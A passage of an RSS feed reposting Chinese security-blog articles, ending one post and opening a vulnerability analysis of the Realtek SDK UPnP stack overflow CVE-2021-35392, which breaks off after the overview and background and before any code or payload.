0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">for Breaking Text-Based Captchas.&#34;</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">Proceedings of the Thirty-First </span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">International Joint Conference on Artificial Intelligence</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">. 2022.</span></p><p><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">论文地址：</span><o:p></o:p></p><p style=""><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://www.computer.org/csdl/proceedings-article/sp/2023/933600b524/1Js0E2VGRhe" target="_blank">https://www.computer.org/csdl/proceedings-article/sp/2023/933600b524/1Js0E2VGRhe</a></span><o:p></o:p></p><p><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">注：本文图片均来源于以上论文</span><o:p></o:p></p><section style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485105&amp;idx=1&amp;sn=4b8d8da5eebe0dfccc7f9801df6cc7a2&amp;chksm=c0ddfcc0f7aa75d6d608b4c0984939a46eb6af70aac8d36c5af20f722c430be304b68ac7de62&amp;scene=21#wechat_redirect" textvalue="Realtek Sdk CVE-2021-35392漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">Realtek Sdk CVE-2021-35392漏洞分析</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;color: rgb(34, 34, 34);text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485086&amp;idx=1&amp;sn=440ac37456efd0056eab04e265a2b3bc&amp;chksm=c0ddfceff7aa75f9ef7b01543a1521d99fc18a7ed81293f393090f2385eee83d1a44e89ffaab&amp;scene=21#wechat_redirect" textvalue="VMware vRealize Log HTTP服务两个漏洞分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">VMware vRealize Log HTTP服务两个漏洞分析</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;color: rgb(34, 34, 34);text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485056&amp;idx=1&amp;sn=7c2c0272b9ba81a5f2aceac47fd6176e&amp;chksm=c0ddfcf1f7aa75e73d0a1377a555ea279cc38ccb60143a4993a3ea6cc159166c12879b896fe0&amp;scene=21#wechat_redirect" textvalue="通过机器学习和反编译来检测恶意样本代码重用" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">通过机器学习和反编译来检测恶意样本代码重用</span></a></h1><p style="outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="37" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e29b9ce6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485124%26idx%3D1%26sn%3D0a849f5ece20ad69b2013edbd0e3717d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 14 Apr 2023 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Realtek Sdk CVE-2021-35392漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485105&amp;idx=1&amp;sn=4b8d8da5eebe0dfccc7f9801df6cc7a2</link>
      <description>此次分析Realtek SDK的upnp服务程序，CVE-2021-35392,  UPnP 订阅标头参数堆栈缓冲区溢出。</description>
      <content:encoded><![CDATA[<p>
原创 <span>尖峰实验室</span> <span>2023-03-31 18:08</span> <span style="display: inline-block;">北京</span>
</p>

<p>此次分析Realtek SDK的upnp服务程序，CVE-2021-35392,  UPnP 订阅标头参数堆栈缓冲区溢出。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a6c7cb54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3Oafy9tyOgicVibOcRia3AZCvzZZCIIaicvyNMjnWjBeWzUGZm2L73ic5EOggvA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" style="width: 74px;height: 62px;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=8b8e7f6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">VLab-实验室</span></strong></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.1875" data-s="300,640" style="width: 76px;height: 20px;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=e5d2e587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgifwxfrom%3D5wx_lazy%3D1"/></p><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></section><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">研究人员公开披露了Realtek公司的SDK中存在4个安全漏洞，攻击者可以未经身份验证远程利用这些漏洞，注入任意命令并以最高权限执行任意代码<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">或导致</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">设备崩溃</span>。这些漏洞影响了至少65个不同供应商生产的近200种产品，并作为供应链漏洞，影响了数十万台下游设备。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞概述</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Realtek芯片组广泛应用于物联网领域的嵌入式设备中，其中RTL8xxx SoC是一种常见的提供无线功能的芯片组。这些二进制文件通过网络公开服务，由Realtek公司提供。这些二进制文件作为Realtek SDK的一部分进行打包，该SDK由Realtek开发并提供给使用RTL8xxx SoC的供应商和制造商。影响着常见的路由器设备厂商、包括dlink,tp-link,tenda，网件等。</span><o:p></o:p></p><p style="white-space: normal;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">此次分析是Realtek SDK的upnp服务程序，CVE-2021-35392,  UPnP 订阅标头参数堆栈缓冲区溢出。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞分析</span></h2><p style="margin-bottom: 16px;text-indent: 0em;white-space: normal;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">UPnP</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">的订阅功能允许设备向控制点注册感兴趣的事件。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">当事件发生时，设备将通知控制点。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">订阅功能允许控制点获得实时设备状态的更改，从而允许控制点动态地调整其行为。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;"> UPnP</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">的订阅功能通常与事件通知一起使用，该事件通知用于在设备状态更改时通知控制点。</span></p><p style="margin-bottom: 16px;outline: 0px;max-width: 100%;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: 